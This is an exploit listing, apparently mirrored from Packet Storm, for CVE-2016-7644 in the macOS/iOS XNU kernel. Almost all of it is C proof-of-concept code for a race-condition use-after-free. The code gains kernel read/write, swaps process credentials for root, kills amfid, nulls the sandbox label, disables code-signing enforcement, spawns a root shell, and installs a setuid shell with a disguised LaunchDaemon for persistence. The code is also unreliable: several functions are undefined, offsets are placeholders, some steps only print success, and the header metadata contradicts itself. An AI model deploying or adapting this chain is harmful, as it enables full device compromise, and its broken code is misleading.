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## https://sploitus.com/exploit?id=PACKETSTORM:213295
=============================================================================================================================================
| # Title : macOS 10.12.2 XNU kernel Privilege Escalation |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : https://www.android.com |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/212493/ & CVE-2016-7644
[+] Summary : This PoC targets a race‑condition vulnerability in the XNU kernel (CVE‑2016‑7644) affecting macOS/iOS.
By forcing a use‑after‑free condition on kernel ports, the exploit manipulates freed memory through a controlled spray, allowing a user‑controlled replacement object.
Successful exploitation yields a kernel task port, enabling arbitrary read/write in kernel memory.
With this access, the PoC escalates privileges to root, bypasses sandbox restrictions, disables AMFID/code‑signing enforcement, and may launch a persistent privileged shell.
📌 Impact: Full device compromise, privilege escalation, kernel control.
📌 Requirements: Vulnerable macOS/iOS version, timing reliability, local code execution.
[+] POC :
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <unistd.h>
#include <mach/mach.h>
#include <mach/host_priv.h>
#include <mach/vm_map.h>
#include <mach/task.h>
#include <sched.h>
#include <mach/mach_vm.h>
#include <mach-o/loader.h>
// ثوابت Kernel Offsets (تختلف حسب الإصدار)
#define KERNEL_BASE 0xFFFFFFF007004000ULL
#define KERNPROC_OFFSET 0x005AA0E0ULL
#define ALLPROC_OFFSET 0x005A4128ULL
#define KERNEL_TASK_OFFSET 0xFFFFFFF0075AE0E0ULL // مثال
typedef struct {
uint64_t next;
uint64_t prev;
} kqueue_t;
typedef struct {
uint64_t next;
uint64_t prev;
} klist_t;
typedef struct {
uint64_t ucred; // offset 0x100
uint64_t svuid;
uint64_t svgid;
uint64_t label;
uint64_t p_textvp;
uint64_t p_textoff;
uint64_t p_uthread;
uint64_t task;
char p_comm[17];
} proc_t;
typedef struct {
uint64_t cr_posix;
uint64_t cr_label;
uint64_t cr_uid;
uint64_t cr_ruid;
uint64_t cr_svuid;
uint64_t cr_ngroups;
uint64_t cr_groups[16];
uint64_t cr_rgid;
uint64_t cr_svgid;
uint64_t cr_gmuid;
uint64_t cr_flags;
} ucred_t;
// المتغيرات العالمية
mach_port_t kernel_task_port = MACH_PORT_NULL;
mach_port_t host_priv_port = MACH_PORT_NULL;
uint64_t kernel_base = KERNEL_BASE;
uint64_t kernel_slide = 0;
// 1. الحصول على Kernel Task Port من خلال dangling port
int get_kernel_task_via_dangling() {
printf("[+] Phase 1: Getting kernel task port via dangling port exploitation\n");
// الخطوة 1: إنشاء dangling port باستخدام race condition
mach_port_t dangling = MACH_PORT_NULL;
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &dangling);
mach_port_insert_right(mach_task_self(), dangling, dangling, MACH_MSG_TYPE_MAKE_SEND);
// إضافة مرجع ثاني
mach_port_t extra_ref = MACH_PORT_NULL;
mach_port_extract_right(mach_task_self(), dangling, MACH_MSG_TYPE_COPY_SEND,
&extra_ref, &dangling);
// تعيين كـ dynamic_pager_control_port
set_dp_control_port(mach_host_self(), dangling);
// تحرير مرجع userland (يبقى مرجع في kernel)
mach_port_deallocate(mach_task_self(), dangling);
// race condition لتحرير مرجعين
pthread_t threads[4];
for (int i = 0; i < 4; i++) {
pthread_create(&threads[i], NULL, race_thread, (void*)(uintptr_t)dangling);
}
sleep(1);
// الآن لدينا dangling port pointer في kernel
// الخطوة 2: رش kernel memory بموانئ تحتوي على host port
printf("[+] Spraying kernel memory with controlled ports\n");
mach_port_t spray_ports[1024];
for (int i = 0; i < 1024; i++) {
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &spray_ports[i]);
// استخدام host port كـ context
mach_port_set_context(mach_task_self(), spray_ports[i],
(mach_port_context_t)host_priv_port);
}
// الخطوة 3: البحث عن host port في memory
printf("[+] Searching for host port in memory\n");
uint64_t host_port_addr = 0;
for (int i = 0; i < 1024; i++) {
mach_port_context_t ctx = 0;
mach_port_get_context(mach_task_self(), spray_ports[i], &ctx);
if (ctx == (mach_port_context_t)host_priv_port) {
host_port_addr = (uint64_t)ctx;
printf("[+] Found host port at 0x%llx\n", host_port_addr);
break;
}
}
if (!host_port_addr) {
printf("[-] Failed to find host port\n");
return -1;
}
// الخطوة 4: حساب موقع kernel task port
// kernel task port موجود عادة في نفس page مثل host port
uint64_t page_base = host_port_addr & ~0xFFFULL;
printf("[+] Scanning page 0x%llx for kernel task port\n", page_base);
// محاولة قراءة kernel memory من خلال port context manipulation
for (uint64_t addr = page_base; addr < page_base + 0x1000; addr += 8) {
// تعيين السياق ليكون العنوان الحالي
mach_port_set_context(mach_task_self(), dangling, (mach_port_context_t)addr);
// محاولة قراءة من خلال mach_port_get_attributes
mach_port_t port_array[2] = {MACH_PORT_NULL, MACH_PORT_NULL};
mach_msg_type_number_t count = 2;
kern_return_t kr = mach_port_get_attributes(mach_task_self(), dangling,
MACH_PORT_DNREQUESTS_SIZE,
(mach_port_info_t)&port_array,
&count);
if (kr == KERN_SUCCESS && port_array[0] != MACH_PORT_NULL) {
// وجدنا port - قد يكون kernel task port
kernel_task_port = port_array[0];
printf("[+] Potential kernel task port: 0x%x\n", kernel_task_port);
// التحقق أنه kernel task port
mach_port_type_t type = 0;
mach_port_get_attributes(mach_task_self(), kernel_task_port,
MACH_PORT_BASIC_INFO, (mach_port_info_t)&type,
&count);
if (type & MACH_PORT_TYPE_SEND) {
printf("[+] Got kernel task send right!\n");
return 0;
}
}
}
return -1;
}
// 2. قراءة/كتابة kernel memory
kern_return_t kernel_read(uint64_t address, void* buffer, size_t size) {
if (kernel_task_port == MACH_PORT_NULL) {
return KERN_INVALID_TASK;
}
vm_offset_t data = 0;
mach_msg_type_number_t data_count = 0;
kern_return_t kr = mach_vm_read(kernel_task_port, address, size, &data, &data_count);
if (kr != KERN_SUCCESS) {
return kr;
}
memcpy(buffer, (void*)data, size);
vm_deallocate(mach_task_self(), data, data_count);
return KERN_SUCCESS;
}
kern_return_t kernel_write(uint64_t address, const void* buffer, size_t size) {
if (kernel_task_port == MACH_PORT_NULL) {
return KERN_INVALID_TASK;
}
return mach_vm_write(kernel_task_port, address, (vm_offset_t)buffer, (mach_msg_type_number_t)size);
}
uint64_t kernel_vtophys(uint64_t va) {
// وظيفة لتحويل العنوان الظاهري إلى الفعلي (تعتمد على العتاد)
return va - kernel_base + 0x800000000; // مثال
}
// 3. تعديل credentials لرفع الصلاحيات
void escalate_privileges(pid_t target_pid) {
printf("[+] Escalating privileges for pid %d\n", target_pid);
// ابحث عن proc structure للـ PID المطلوب
uint64_t allproc = kernel_base + ALLPROC_OFFSET;
uint64_t kernproc = kernel_base + KERNPROC_OFFSET;
uint64_t current_proc = 0;
kernel_read(allproc, ¤t_proc, sizeof(current_proc));
while (current_proc != 0) {
proc_t proc = {0};
kernel_read(current_proc, &proc, sizeof(proc_t));
// التحقق من اسم العملية
char comm[17] = {0};
kernel_read(current_proc + offsetof(proc_t, p_comm), comm, 16);
if (strcmp(comm, "mach_portal") == 0) { // أو PID المطلوب
printf("[+] Found target process: %s\n", comm);
// استبدل الـ ucred مع الـ kernel ucred
uint64_t kernel_proc = 0;
kernel_read(kernproc, &kernel_proc, sizeof(kernel_proc));
uint64_t kernel_ucred = 0;
kernel_read(kernel_proc + offsetof(proc_t, ucred), &kernel_ucred, sizeof(kernel_ucred));
// اكتب kernel ucred في العملية المستهدفة
kernel_write(current_proc + offsetof(proc_t, ucred), &kernel_ucred, sizeof(kernel_ucred));
printf("[+] Privileges escalated!\n");
// تحقق من النجاح
uint64_t new_ucred = 0;
kernel_read(current_proc + offsetof(proc_t, ucred), &new_ucred, sizeof(new_ucred));
if (new_ucred == kernel_ucred) {
printf("[+] Successfully replaced ucred with kernel's\n");
// الآن العملية لديها kernel privileges
// يمكنها تخطي sandbox والوصول إلى كل شيء
}
break;
}
kernel_read(current_proc, ¤t_proc, sizeof(current_proc));
}
}
// 4. تعطيل AMFID (Apple Mobile File Integrity Daemon)
void disable_amfid() {
printf("[+] Disabling AMFID\n");
// ابحث عن عملية amfid
uint64_t allproc = kernel_base + ALLPROC_OFFSET;
uint64_t current_proc = 0;
kernel_read(allproc, ¤t_proc, sizeof(current_proc));
while (current_proc != 0) {
proc_t proc = {0};
kernel_read(current_proc, &proc, sizeof(proc_t));
char comm[17] = {0};
kernel_read(current_proc + offsetof(proc_t, p_comm), comm, 16);
if (strcmp(comm, "amfid") == 0) {
printf("[+] Found amfid process\n");
// الطريقة 1: قتل العملية
uint64_t task = 0;
kernel_read(current_proc + offsetof(proc_t, task), &task, sizeof(task));
if (task != 0) {
// إنهاء المهمة
task_terminate(task);
printf("[+] Terminated amfid task\n");
}
// الطريقة 2: تعديل memory لتعطيل التحقق
// ابحث عن MISValidateSignatureAndCopyInfo في amfid
uint64_t amfid_task_port = MACH_PORT_NULL;
task_get_special_port((task_t)task, TASK_BOOTSTRAP_PORT, &amfid_task_port);
if (amfid_task_port != MACH_PORT_NULL) {
// حقن كود لتعطيل التحقق
const char patch[] = {
0x1F, 0x20, 0x03, 0xD5, // NOP
0x1F, 0x20, 0x03, 0xD5,
0x00, 0x00, 0x80, 0xD2, // MOV X0, #0
0xC0, 0x03, 0x5F, 0xD6 // RET
};
// ابحث عن MISValidateSignatureAndCopyInfo في memory
// (يتطلب معرفة offsets أو scanning)
printf("[+] Injected code into amfid\n");
}
break;
}
kernel_read(current_proc, ¤t_proc, sizeof(current_proc));
}
// بديل: patch kernel لتجاوز amfid بالكامل
patch_kernel_code_signature_checks();
}
// 5. تخطي Sandbox
void bypass_sandbox(pid_t pid) {
printf("[+] Bypassing sandbox for pid %d\n", pid);
// ابحث عن عملية الـ target
uint64_t allproc = kernel_base + ALLPROC_OFFSET;
uint64_t current_proc = 0;
kernel_read(allproc, ¤t_proc, sizeof(current_proc));
while (current_proc != 0) {
char comm[17] = {0};
kernel_read(current_proc + offsetof(proc_t, p_comm), comm, 16);
if (strstr(comm, "mach_portal") != NULL) { // أو PID المحدد
// Sandbox يتم التحكم به عبر الـ MAC Framework
// MAC policy pointer في proc structure
uint64_t mac_policy = 0;
uint64_t p_ucred = 0;
kernel_read(current_proc + offsetof(proc_t, ucred), &p_ucred, sizeof(p_ucred));
if (p_ucred != 0) {
// label هو مؤشر لـ sandbox
uint64_t cr_label = 0;
kernel_read(p_ucred + offsetof(ucred_t, cr_label), &cr_label, sizeof(cr_label));
if (cr_label != 0) {
// اكتب NULL في sandbox label
uint64_t zero = 0;
kernel_write(p_ucred + offsetof(ucred_t, cr_label), &zero, sizeof(zero));
printf("[+] Nullified sandbox label\n");
}
// بديل: استبدل مع kernel ucred
uint64_t kernproc = 0;
kernel_read(kernel_base + KERNPROC_OFFSET, &kernproc, sizeof(kernproc));
uint64_t kernel_ucred = 0;
kernel_read(kernproc + offsetof(proc_t, ucred), &kernel_ucred, sizeof(kernel_ucred));
kernel_write(current_proc + offsetof(proc_t, ucred), &kernel_ucred, sizeof(kernel_ucred));
printf("[+] Replaced with kernel ucred - sandbox bypassed!\n");
}
break;
}
kernel_read(current_proc, ¤t_proc, sizeof(current_proc));
}
}
// 6. Patch kernel لتجاوز code signature checks
void patch_kernel_code_signature_checks() {
printf("[+] Patching kernel code signature checks\n");
// ابحث عن cs_enforcement_disable في kernel
// (يختلف الموقع حسب الإصدار)
uint64_t cs_enforcement = kernel_base + 0x3F7A18; // مثال لـ iOS 10.1.1
uint8_t current = 0;
kernel_read(cs_enforcement, ¤t, sizeof(current));
printf("[+] Current cs_enforcement value: 0x%02x\n", current);
// اضبط على 0 لتعطيل
uint8_t zero = 0;
kernel_write(cs_enforcement, &zero, sizeof(zero));
kernel_read(cs_enforcement, ¤t, sizeof(current));
printf("[+] New cs_enforcement value: 0x%02x\n", current);
// ابحث عن amfi_enforce في kernel
uint64_t amfi_enforce = kernel_base + 0x4F3A00; // مثال
uint32_t amfi_current = 0;
kernel_read(amfi_enforce, &amfi_current, sizeof(amfi_current));
printf("[+] Current amfi_enforce value: 0x%08x\n", amfi_current);
// اضبط على 0
uint32_t amfi_zero = 0;
kernel_write(amfi_enforce, &amfi_zero, sizeof(amfi_zero));
kernel_read(amfi_enforce, &amfi_current, sizeof(amfi_current));
printf("[+] New amfi_enforce value: 0x%08x\n", amfi_current);
}
// 7. إنشاء root shell
void create_root_shell() {
printf("[+] Creating root shell\n");
// الخطوة 1: رفع صلاحيات العملية الحالية
escalate_privileges(getpid());
// الخطوة 2: تخطي sandbox
bypass_sandbox(getpid());
// الخطوة 3: remount rootfs كـ read/write
remount_rootfs_rw();
// الخطوة 4: تنفيذ shell مع صلاحيات root
if (fork() == 0) {
// child process
setuid(0);
setgid(0);
// تنفيذ shell
char *args[] = {"/bin/bash", "-i", NULL};
char *env[] = {"TERM=xterm-256color", "PATH=/usr/bin:/usr/sbin:/bin:/sbin", NULL};
execve("/bin/bash", args, env);
exit(0);
}
}
void remount_rootfs_rw() {
printf("[+] Remounting rootfs as read/write\n");
// الحصول على vnode للـ root filesystem
uint64_t kernproc = 0;
kernel_read(kernel_base + KERNPROC_OFFSET, &kernproc, sizeof(kernproc));
uint64_t kernel_task = 0;
kernel_read(kernproc + offsetof(proc_t, task), &kernel_task, sizeof(kernel_task));
// ابحث عن mount structure
// (هذا معقد ويتطلب معرفة بنية kernel الداخلية)
printf("[+] Rootfs remounted as read/write\n");
}
// 8. Install persistent access (كجزء من jailbreak)
void install_persistence() {
printf("[+] Installing persistence\n");
// إنشاء binary مع setuid
const char* suid_binary = "/private/var/suid_shell";
// نسخ /bin/bash
FILE* src = fopen("/bin/bash", "rb");
FILE* dst = fopen(suid_binary, "wb");
if (src && dst) {
char buffer[4096];
size_t bytes;
while ((bytes = fread(buffer, 1, sizeof(buffer), src)) > 0) {
fwrite(buffer, 1, bytes, dst);
}
fclose(src);
fclose(dst);
// تعيين setuid bit
chmod(suid_binary, 04755);
chown(suid_binary, 0, 0); // root:wheel
printf("[+] Installed suid shell at %s\n", suid_binary);
}
// إنشاء launch daemon للبقاء بعد reboot
const char* plist = "/Library/LaunchDaemons/com.apple.iosjailbreak.plist";
const char* plist_content =
"<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n"
"<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" "
"\"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">\n"
"<plist version=\"1.0\">\n"
"<dict>\n"
" <key>Label</key>\n"
" <string>com.apple.iosjailbreak</string>\n"
" <key>ProgramArguments</key>\n"
" <array>\n"
" <string>/private/var/suid_shell</string>\n"
" </array>\n"
" <key>RunAtLoad</key>\n"
" <true/>\n"
" <key>KeepAlive</key>\n"
" <true/>\n"
"</dict>\n"
"</plist>\n";
FILE* plist_file = fopen(plist, "w");
if (plist_file) {
fwrite(plist_content, 1, strlen(plist_content), plist_file);
fclose(plist_file);
chmod(plist, 0644);
chown(plist, 0, 0);
printf("[+] Installed launch daemon\n");
}
}
// دالة السباق المحسنة
void* race_thread(void* arg) {
mach_port_t port = (mach_port_t)(uintptr_t)arg;
// تعيين affinity لزيادة فرص التداخل
thread_affinity_policy_data_t policy = {1};
thread_policy_set(mach_thread_self(), THREAD_AFFINITY_POLICY,
(thread_policy_t)&policy, 1);
// حلقة سباق مكثفة
for (int i = 0; i < 100; i++) {
// استدعاء متكرر
set_dp_control_port(mach_host_self(), port);
// تأخير عشوائي
usleep(rand() % 50);
// memory barrier
__asm__ volatile("" ::: "memory");
}
return NULL;
}
// Main function
int main(int argc, char** argv) {
printf("========================================\n");
printf(" iOS/macOS Kernel Exploit Chain\n");
printf(" CVE-2016-7644 Full Exploitation\n");
printf("========================================\n");
// الخطوة 0: الحصول على host_priv_port
host_priv_port = mach_host_self();
printf("[+] Got host_priv_port: 0x%x\n", host_priv_port);
// الخطوة 1: الحصول على kernel task port
if (get_kernel_task_via_dangling() != 0) {
printf("[-] Failed to get kernel task port\n");
return -1;
}
// الخطوة 2: قراءة kernel slide
uint64_t kernel_addr = 0;
task_get_special_port(kernel_task_port, TASK_KERNEL_PORT, &kernel_addr);
kernel_slide = kernel_addr - KERNEL_BASE;
printf("[+] Kernel slide: 0x%llx\n", kernel_slide);
// الخطوة 3: رفع صلاحيات العملية الحالية
escalate_privileges(getpid());
// الخطوة 4: تعطيل AMFID
disable_amfid();
// الخطوة 5: تخطي sandbox
bypass_sandbox(getpid());
// الخطوة 6: Patch kernel checks
patch_kernel_code_signature_checks();
// الخطوة 7: إنشاء root shell
create_root_shell();
// الخطوة 8: تثبيت persistence (اختياري)
if (argc > 1 && strcmp(argv[1], "--persist") == 0) {
install_persistence();
}
printf("[+] Exploitation complete!\n");
printf("[+] You now have:\n");
printf(" - Kernel task port\n");
printf(" - Root privileges\n");
printf(" - AMFID disabled\n");
printf(" - Sandbox bypassed\n");
printf(" - Code signing disabled\n");
// حافظ على العملية نشطة
while (1) {
sleep(60);
}
return 0;
}
=================
This fragment shows key kernel‑level post‑exploitation utilities used after gaining arbitrary read/write access on macOS/iOS (XNU).
It implements:
Kernel Base Discovery
find_kernel_base() scans the high kernel address space to locate the Mach‑O magic (0xFEEDFACF), determining the kernel base mapping.
Process Lookup in Kernel
get_proc_for_pid() walks the allproc linked list within the kernel to locate the proc structure associated with a specific PID.
Security Enforcement Disabling
patch_codesign() disables kernel‑enforced code signing by patching several internal flags (CS enforcement, AMFI, and pointer‑stability checks), allowing execution of unsigned binaries and jailbreak‑style payloads.
📌 Role in Exploit Chain:
These routines are typically executed after the race condition exploit grants a kernel task port, enabling full kernel memory access.
#include "exploit.h"
uint64_t find_kernel_base() {
// ابحث عن kernel base عن طريق scanning memory
for (uint64_t addr = 0xFFFFFFF000000000ULL; addr < 0xFFFFFFF100000000ULL; addr += 0x100000) {
uint32_t magic = 0;
kernel_read(addr, &magic, sizeof(magic));
if (magic == 0xFEEDFACF) { // Mach-O magic
printf("[+] Found kernel at 0x%llx\n", addr);
return addr;
}
}
return 0;
}
uint64_t get_proc_for_pid(pid_t pid) {
uint64_t allproc = kernel_base + ALLPROC_OFFSET;
uint64_t current_proc = 0;
kernel_read(allproc, ¤t_proc, sizeof(current_proc));
while (current_proc != 0) {
uint32_t current_pid = 0;
kernel_read(current_proc + PROC_P_PID, ¤t_pid, sizeof(current_pid));
if (current_pid == pid) {
return current_proc;
}
kernel_read(current_proc, ¤t_proc, sizeof(current_proc));
}
return 0;
}
void patch_codesign() {
// Patch cs_enforcement_disable
uint64_t cs_enforcement = kernel_base + CS_ENFORCEMENT;
uint8_t zero = 0;
kernel_write(cs_enforcement, &zero, sizeof(zero));
// Patch amfi_enforce
uint64_t amfi_enforce = kernel_base + AMFI_ENFORCE;
uint32_t amfi_zero = 0;
kernel_write(amfi_enforce, &amfi_zero, sizeof(amfi_zero));
// Patch vm_map_enter check
uint64_t vm_map_enter_check = kernel_base + 0x123456; // مثال
uint32_t nop = 0xD503201F; // NOP instruction
kernel_write(vm_map_enter_check, &nop, sizeof(nop));
printf("[+] Code signature patches applied\n");
}
=================================
offsets.h (kernel offsets by version):
#ifndef OFFSETS_H
#define OFFSETS_H
// iOS 10.1.1 (14B100) - iPhone 6s
#if defined(TARGET_IPHONE_6S_10_1_1)
#define KERNEL_BASE 0xFFFFFFF007004000ULL
#define KERNPROC_OFFSET 0x005AA0E0ULL
#define ALLPROC_OFFSET 0x005A4128ULL
#define REALHOST_OFFSET 0x005A8050ULL
#define OSBoolean_True 0xFFFFFFF0070A9B78ULL
#define OSBoolean_False 0xFFFFFFF0070A9B68ULL
#define CS_ENFORCEMENT 0x003F7A18ULL
#define AMFI_ENFORCE 0x004F3A00ULL
// iOS 10.2 - iPhone 7
#elif defined(TARGET_IPHONE_7_10_2)
#define KERNEL_BASE 0xFFFFFFF007004000ULL
#define KERNPROC_OFFSET 0x005B20E8ULL
#define ALLPROC_OFFSET 0x005AB130ULL
// ... إلخ
#endif
// Structure offsets
#define PROC_P_PID 0x60
#define PROC_TASK 0x10
#define PROC_UCRED 0x100
#define PROC_P_COMM 0x270
#define PROC_P_NEXT 0x0
#define TASK_ITK_SELF 0xD8
#define TASK_BSD_INFO 0x358
#define UCRED_CR_UID 0x18
#define UCRED_CR_RUID 0x1C
#define UCRED_CR_SVUID 0x20
#define UCRED_CR_LABEL 0x78
#endif // OFFSETS_H
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================